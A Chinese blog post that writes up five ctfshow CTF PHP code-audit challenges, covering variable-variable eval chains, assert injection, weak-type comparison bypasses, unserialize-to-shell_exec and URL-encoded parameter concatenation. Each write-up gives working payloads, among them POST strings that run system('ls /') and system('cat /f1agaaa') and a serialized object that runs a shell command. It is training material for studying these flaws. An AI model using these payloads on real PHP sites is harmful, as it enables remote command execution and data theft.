web专题之php代审(一)

复制代码
这里将会记录一些我在各大ctf练习平台所碰到的有关php代码审计的题目,考点有弱类型绕过,伪协议,反序列化等等。因为是在备赛,且只是菜鸡一个,多多见谅,会努力学习。

1. 这是来自ctfshow 菜狗杯的一道题目:我的眼里只有$

打开靶场如下图所示

php 复制代码
<?php  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 08:21:54  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
extract($_POST);  
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);  
highlight_file(__FILE__);

这道题初次看比较懵,非常多的美元符号,其实是一道套娃的题目,参考了一下大佬的思路,比如传进来的参数是_=a,那么就是_=a,再传入一个参数a=b,那么就是$__=b,再接着下去就行了。

下面是python的代码

python 复制代码
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
    a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)

一共是36个$,所以我们首先构造一个,后面的使用for循环构造,完了之后拼接我们想要执行的命令,读取根目录下的所有文件。

执行完如下图所示 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');

记得使用post提交,回显如下图所示

发现我们想要的文件名已经给出来了:f1agaaa。更换命令使用system('cat /f1agaaa')

less 复制代码
 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('cat /f1agaaa');

最终成功得到了我们想要的flag。

2.这是来自ctfshow菜狗杯的一道题:一言既出

代码如下图所示

php 复制代码
<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
    if ($_GET['num'] == 114514){  
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");  
        echo $flag;  
    }   
}

简单分析,首先我们需要通过get方法传递参数,进入第一个if语句,然后要满足num=114514,以及intval函数化整之后为1919810,这显然是不可能同时满足的,所以我们需要绕过。

注意这个intval函数,结合一下注入的思路,我们可以尝试闭合这个函数使其绕过检测。

payload:

ini 复制代码
?num=114514);(1919810

php弱类型,在if语句中比较时,参数自动转为114514,舍去了后面的部分。接着在asset函数中,intval函数提前闭合,";"使语句终止,再1919810==1919810,永真语句成功绕过。

3.这道题是第二题的后续:驷马难追

php 复制代码
<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
     if ($_GET['num'] == 114514 && check($_GET['num'])){  
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");  
              echo $flag;  
     }   
}   
  
function check($str){  
  return !preg_match("/[a-z]|\;|\(|\)/",$str);  
}

这道题是上一题的加强版,正则匹配中,限制了小写字母,";"以及左右括号。 思考了很久,似乎被第二题给思维定式了,于是看了看大佬的思路,,发现非常的巧妙!

payload:

perl 复制代码
114514%2B1805296

这里的加号需要url转码,再赋值(直接写+号,事实上在url中表示空格)。前面是同理的,php弱类型绕过,判断的时候自动舍去后面的东西,留下114514。 接着是intval函数,首先是会进行里面的加法运算,得到1919810,符合条件,成功绕过。

4.这是ctfshow菜狗杯的一道题:webshell

下图所示是代码:

php 复制代码
<?php   
    error_reporting(0);  
  
    class Webshell {  
        public $cmd = 'echo "Hello World!"';  
  
        public function __construct() {  
            $this->init();  
        }  
  
        public function init() {  
            if (!preg_match('/flag/i', $this->cmd)) {  
                $this->exec($this->cmd);  
            }  
        }  
  
        public function exec($cmd) {  
            $result = shell_exec($cmd);  
            echo $result;  
        }  
    }  
  
    if(isset($_GET['cmd'])) {  
        $serializecmd = $_GET['cmd'];  
        $unserializecmd = unserialize($serializecmd);  
        $unserializecmd->init();  
    }  
    else {  
        highlight_file(__FILE__);  
    }  
  
?>

仔细看发现是反序列化。由Wedshell类中的函数可知,我们不能使$cmd参数带有"flag"(正则表达式限制),代码顺下去发现参数会被shell_exec()函数调用,可执行shell命令,也就是说我们可以写进执行命令的语句。

序列化构造:

php 复制代码
<?php
class Webshell {
	public $cmd = 'cat * >1.txt';
}

$a = new Webshell();
echo serialize($a);
?>

参数表明就当前目录下所有文件合并写入1.txt中,避免了敏感词"flag"。

运行后如下所示,再拼接到url参数后

css 复制代码
O:8:"Webshell":1:{s:3:"cmd";s:12:"cat * >1.txt";}

在1.txt中成功找到flag

5.这是来自ctfshow菜狗杯的一道题:化零为整

代码如下所示:

php 复制代码
<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
        if (strlen($_GET[$i])>1){
                die("你太长了!!");
                }
        else{
        $result=$result.$_GET[$i];
        }
}

if ($result ==="大牛"){
        echo $flag;
}

初步分析一下代码,这里的count($_GET)表示传入的参数个数,以此决定我们循环的次数。接着就没有什么思路了,看了一下大佬的题解,发现"大牛"是需要url编码的。

编码如下:

perl 复制代码
%E5%A4%A7%E7%89%9B

for循环是需要一个字符一个字符的拼接,每个字符的长度为1,并且每个字符作为参数传入

perl 复制代码
   ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

原理:

这里$i在循环中是累加的

以至于$result是依次拼接url中对应次序的参数。

最终可以回显flag。

相关推荐
RTC老炮4 小时前
webrtc弱网-AlrDetector类源码分析与算法原理
服务器·网络·算法·php·webrtc
wheeldown6 小时前
【Linux】面试常考!Linux 进程核心考点:写时拷贝优化原理 + 进程等待实战,一篇理清进程一生
linux·运维·服务器·面试·php
zorro_z18 小时前
ThinkPHP8学习篇(六):数据库(二)
php
bug攻城狮1 天前
VMware 中 CentOS 7 设置静态 IP
tcp/ip·centos·php
最美不过下雨天啊1 天前
微信小程序发送订阅消息-一次订阅,一直发送消息。
微信小程序·php·一次性订阅·长期订阅
BingoGo1 天前
PHP serialize 序列化完全指南
后端·php
天高云淡ylz1 天前
子网掩码的隐形陷阱:为何能ping通却无法HTTPS访问
开发语言·php
乱飞的秋天2 天前
网络编程学习
网络·学习·php
Qlittleboy2 天前
tp5的tbmember表闭包查询 openid=‘abc‘ 并且(wx_unionid=null或者wx_unionid=‘‘)
数据库·sql·php